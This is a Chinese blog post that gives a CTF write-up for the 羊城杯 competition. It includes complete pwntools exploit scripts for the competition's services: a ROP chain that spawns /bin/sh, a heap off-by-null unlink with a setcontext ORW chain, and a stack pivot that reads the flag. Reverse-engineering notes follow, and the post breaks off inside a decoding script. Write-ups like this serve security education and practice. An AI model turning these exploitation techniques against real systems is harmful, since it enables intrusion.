您当前的位置: 首页 > 

合天网安实验室

暂无认证

  • 0浏览

    0关注

    748博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

羊城杯wp

合天网安实验室 发布时间:2021-09-23 16:20:00 ,浏览量:0

1

PWN

1、Babyrop

栈溢出,且存在后门函数;

利用func1将'/cin/sh'修改为'/bin/sh',

利用func2调用参数执行system('/bin/sh')即可

#!usr/bin/env python
#-*- coding:utf8 -*-
from pwn import *


#p = process("./BabyRop")
p = remote("192.168.39.161", 11000)
elf = ELF("./BabyRop")


payload = flat([
   'a'*(0x28+4),
   0x80491fd,  #func1
   0x8049332,  # ret address ;pop rdx r15 ;ret
   0x804c024,
   1,
   0x80491d6,  #func2:system
   0x80491d6,
   0x804c024
])


p.sendline(payload)
p.interactive()

3ab0eb56028b83dc2f1934fcc45e9db5.png

2、Whats your name

Libc 2.23 + off by null:

842fadb3f35c7f277f57ab1491963c5b.png

Off by null使得下个相邻chunk的pre_inuse置零;然后伪造pre_size,以及fake chunk的fd,bk,之后释放pre_inuse置零的chunk,实现unlink,造成堆块重叠;

最后覆写重叠堆块上存在的函数指针,改为setcontext+53,并提前布置好orw的rop链,调用show函数时,触发orw读出flag;

#!usr/bin/env python
#-*- coding:utf8 -*-
from pwn import *


pc="./name"
#p=process(pc,env={"LD_PRELOAD":"./libc.so.6"})
p = remote(192.168.39.161,9999)


ru = lambda x : p.recvuntil(x,timeout=0.2)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
ru7f = lambda : u64(ru('\x7f')[-6:].ljust(8,'\x00'))
rv6 = lambda : u64(rv(6)+'\x00'*2)


what_idx="index:"
def add(size):
   ru("5.exit\n")
   sl("1")
   ru("name size:")
   sl(str(size))


def edit(idx,c):
   ru("5.exit\n")
   sl("2")
   ru(what_idx)
   sl(str(idx))
   ru("name:")  
   sl(c)  


def show(idx):
   ru("5.exit\n")
   sl("3")
   ru(what_idx)
   sl(str(idx))


def dele(idx):
   ru("5.exit\n")
   sl("4")
   ru(what_idx)
   sl(str(idx))


add(0x100) #0
add(0x100) #1


dele(0)
add(0x30)
show(0)
libc_base = ru7f() - 0x3c4b78 -0xe0
setcontext_53 = libc_base + libc.sym['setcontext'] + 53


add(0x10) #2
show(2)
ru('\n') #这里需要根据具体情况调试
heap_addr = rv6() - 0xad0


dele(0)
add(0x48) #0
add(0x100) #3


pay = flat([
   0,0x41,
   heap_addr+0xc8-0x18,heap_addr+0xc8-0x10,
   'a'*0x20,
   0x40
])
edit(0,pay)
edit(3,'a'*0xf0+p64(0x100)+p64(0x121))
dele(3)


add(0x10) #3  
add(0xa8-0x20) #4  
add(0xc0) #5  


srop_addr = heap_addr+0xb30
pay = flat([
   0,0x21,
   setcontext_53,srop_addr
])
edit(0,pay)


syscall =  libc_base + 0xbc3f5    
p_rdi = libc_base + 0x21112
p_rsi =   libc_base + 0x202f8
p_rax_rdx_rbx =  libc_base + 0x1436b1
ret =  p_rsi+1


rop_base = heap_addr + 0xc60
edit(5,'\x00'*0xa0+p64(rop_base)+p64(ret))


flag_str_addr = heap_addr  
flag_addr=rop_base+0xd8
payload=flat([
   p_rdi,flag_addr,
   p_rsi,4,
   p_rax_rdx_rbx,2,4,0,
   syscall,
   p_rdi,3,
   p_rsi,flag_str_addr,
   p_rax_rdx_rbx,0,0x50,0,
   syscall,
   p_rdi,1,
   p_rsi,flag_str_addr,
   p_rax_rdx_rbx,1,0x50,0,
   syscall,
   'flag\x00'
])
edit(1, payload)
show(0)
p.interactive()

b8f4bdd88bcd7cb1da2f39743e4eee07.png

3、Nologin

查看保护:

ef5877982fc254194af2f9d2a5862efe.png

存在栈溢出的点:

6531d53bc2cb9cc59e27ce0bd08aed63.png

第一次溢出劫持rbp,再返回到溢出函数;

第二次溢出,首先往bss段上读orw的gadget,其中pop rdx要自己写到bss上;

然后栈迁移到bss段上,执行orw

#!usr/bin/env python
#-*- coding:utf8 -*-
from pwn import *


pc="./nologin"
reomote_addr=["",40001]
context.log_level="debug"
# p=process(pc)
p = remote("192.168.39.161",40001)


ru = lambda x : p.recvuntil(x,timeout=0.2)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()  
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
ru7f = lambda : u64(ru('\x7f')[-6:].ljust(8,'\x00'))
rv6 = lambda : u64(rv(6)+'\x00'*2)




p.sendlineafter("input>> \n","2")


flag_addr = 0x0602020+0x400
str_addr = 0x0602050
p.sendlineafter(">password: \n","1"*5+p64(flag_addr)+p64(0x400FF8))


# rax=0x602420
p.sendafter("password: \n","a"*0xd+p64(0x4009BC)+"a"*9 )


read_addr = 0x400780
open_addr = 0x4007B0
puts_addr = 0x400730
p_rdi = 0x401173
p_rsi_r15 = 0x401171
p_rdx = 0x6024b0


orw = flat([
       p_rdi,flag_addr,
       p_rsi_r15,0,0,
       open_addr,
       p_rdi,4,
       p_rsi_r15,str_addr,0,
       p_rdx,0x40,
       read_addr,
       p_rdi,str_addr,
       puts_addr
])


p.sendline(("./flag".ljust(8,'\x00')+orw+asm("pop rdx\nret\n")) )
p.interactive()

09c77765e49b592ccebb5383348ae889.png

2

Re

1、Android

将apk文件拉到jeb中进行分析,发现checkflag的关键逻辑在activity层

1f5a9b466bda23d5cd8a21e527b7af8b.png

可以看到是一个base64算法,但是base表要通过和服务器交互得到

main里面有交互的代码

1456ea19087e424b5f9d6ea9dc4b8bec.png

远程连接端口,输入的值进行md5,之后每字节减1为c232666f1410b3f5010dc51cec341f58

直接进行在线解密

67677da06d4e00fe7b2116c0920896a0.png

之后连接端口取得变表,base解密得到flag为

SangFor{212f4548-03d1-11ec-ab68-00155db3a27e}

2、vm

分析程序,将程序smc动调自解密后,发现是一个vm

动态调试 跟进程序逻辑,发现 vm就是前32字节就是取数据单字节异或,后面的12字节分为3组进行相同的加密

得到以下关键点:

前32字节最后比较的地方

70d3a52ed8b54595d2eb6f5f9866b884.png

取输入

bb2e672951279cecabc2aa5d02e02aae.png

前三十二字节的异或

87a4c6d46d0a0721859848990122f1c2.png

之后三组加密对比密文的地方:

a91d0cbeb009323dcbdd571aef6e30ce.png

同时跟进加密逻辑为

data = (data >> 5)^data

data = ((tmp 0x12)^ data

这三组用z3进行约束求解

之后 分段解密得到flag字符串为16584abc45baff901c59dde3b1bb6701a254b06cdc23

3、smc

首先搜索字符串定位关键代码

4008769d0f518ac8b4000581a544f230.png

动态调试,让程序自解密得到代码如下:

f2d4d229e3e74c6e667c58fa296a253b.png

分析发现就是将程序进行base64变表加密之后再与四个数字进行异或

跟到base变表如下:

c9267a857c23b0ffe6697b2bdb929194.png

之后直接上脚本解密

#include
#include 
using namespace std;
int main()
{
int table[64] = {0xE4,0xC4,0xE7,0xC7,0xE6,0xC6,0xE1,0xC1,0xE0,0xC0,0xE3,0xC3,0xE2,0xC2,0xED,0xCD,0xEC,0xCC,0xEF,0xCF,0xEE,0xCE,0xE9,0xC9,0xE8,0xC8,0xEB,0xCB,0xEA,0xCA,0xF5,0xD5,0xF4,0xD4,0xF7,0xD7,0xF6,0xD6,0xF1,0xD1,0xF0,0xD0,0xF3,0xD3,0xF2,0xD2,0xFD,0xDD,0xFC,0xDC,0xFF,0xDF,0x95,0x9C,0x9D,0x92,0x93,0x90,0x91,0x96,0x97,0x94,0x8A,0x8E};
 int code[56] = {0x48,0x3E,0x6F,0x51,0x6E,0x36,0x61,0x71,0x4C,0x72,0x7B,0x44,0x48,0x36,0x6F,0x64,0x68,0x64,0x6D,0x30,0x64,0x4D,0x65,0x60,0x4D,0x42,0x6F,0x3F,0x6C,0x52,0x67,0x6C,0x48,0x74,0x47,0x50,0x4F,0x64,0x6F,0x62,0x44,0x6C,0x6B,0x6E,0x65,0x6A,0x6D,0x47,0x49,0x7C,0x67,0x68,0x44,0x62,0x3C,0x34};
 for(int k=0;k            
关注
打赏
1665306545
查看更多评论
0.0817s